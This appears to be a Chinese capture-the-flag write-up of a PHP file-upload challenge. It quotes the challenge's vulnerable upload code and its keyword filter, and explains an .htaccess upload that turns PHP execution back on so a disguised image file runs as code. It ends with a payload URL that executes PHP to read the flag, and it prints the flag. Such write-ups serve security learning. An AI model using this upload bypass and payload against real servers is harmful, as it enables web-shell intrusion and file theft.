趁着官方环境还没关,跟着WP复现一遍
官方环境:http://122.112.248.222:20003/
比赛网址:https://jinmenbei.xctf.org.cn/ad5/match/jeopardy/
这道题很有意思啊,直接把源码和配置文件都在附件中给出了
检查一下源码
index.php
<?php error_reporting(0); session_start(); include('config.php'); $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']); @mkdir($upload); file_put_contents($upload.'/index.html', ''); if(isset($_POST['submit'])){ $allow_type=array("jpg","gif","png","bmp","tar","zip"); $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1); if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){ die('upload error'); }else{ $filename=addslashes($_FILES['file']['name']); $sql="insert into img (filename) values ('$filename')"; $conn->query($sql); $sql="select id from img where filename='$filename'"; $result=$conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $id=$row["id"]; } move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename); header("Location: index.php?id=$id"); } } } elseif (isset($_GET['id'])){ $id=intval($_GET['id']); $sql="select filename from img where id=$id"; $result=$conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $filename=$row["filename"]; } $img=$upload.'/'.$filename; echo "<img src='$img'/>"; } } ?>
config.php
<?php $conn=mysqli_connect("localhost","root","root","shuyu"); if (mysqli_connect_error($conn)) { echo "???? MySQL ???: " . mysqli_connect_error(); } foreach ($_GET as $key => $value) { $value= str_ireplace('\'','',$value); $value= str_ireplace('"','',$value); $value= str_ireplace('union','',$value); $value= str_ireplace('select','',$value); $value= str_ireplace('from','',$value); $value= str_ireplace('or','',$value); $_GET[$key] =$value; } ?>
才疏学浅,未能找到合适的SQL注入点和绕过上传的方式
就像题目给出的图片一样,一时语塞,陷入沉思
查看apache2.conf配置文件
有这么一段
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/"> php_flag engine off </Directory>
php_flag engine 设置为0,会关闭该目录和子目录的php解析
我们可以通过上传.htaccess文件来开启php解析
经师傅们测试发现<file>标签的优先级高于<directory>
<Files "*.gif"> SetHandler application/x-httpd-php php_flag engine on </Files>
之后随意上传一个文件后缀名为.gif的文件,就可以让当前目录及其子目录下所有文件都被当做 php
解析
getshell
一定要通过尝试确定好文件上传的位置
一般来说flag都是和上传文件位于同一目录
此外,最后还需要绕过disable_funtions,使用var_dump语句获取文件信息
成功得到flag
flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
最终payload
http://122.112.248.222:20003/upload/a3de73ada4f3028f69f5793f5fd3c27e/1.png?code=var_dump(file_get_contents(%22/flag%22));
参考师傅们的WP:
https://mp.weixin.qq.com/s/j-M7gfVXdnxovWDiZGTihQ
https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ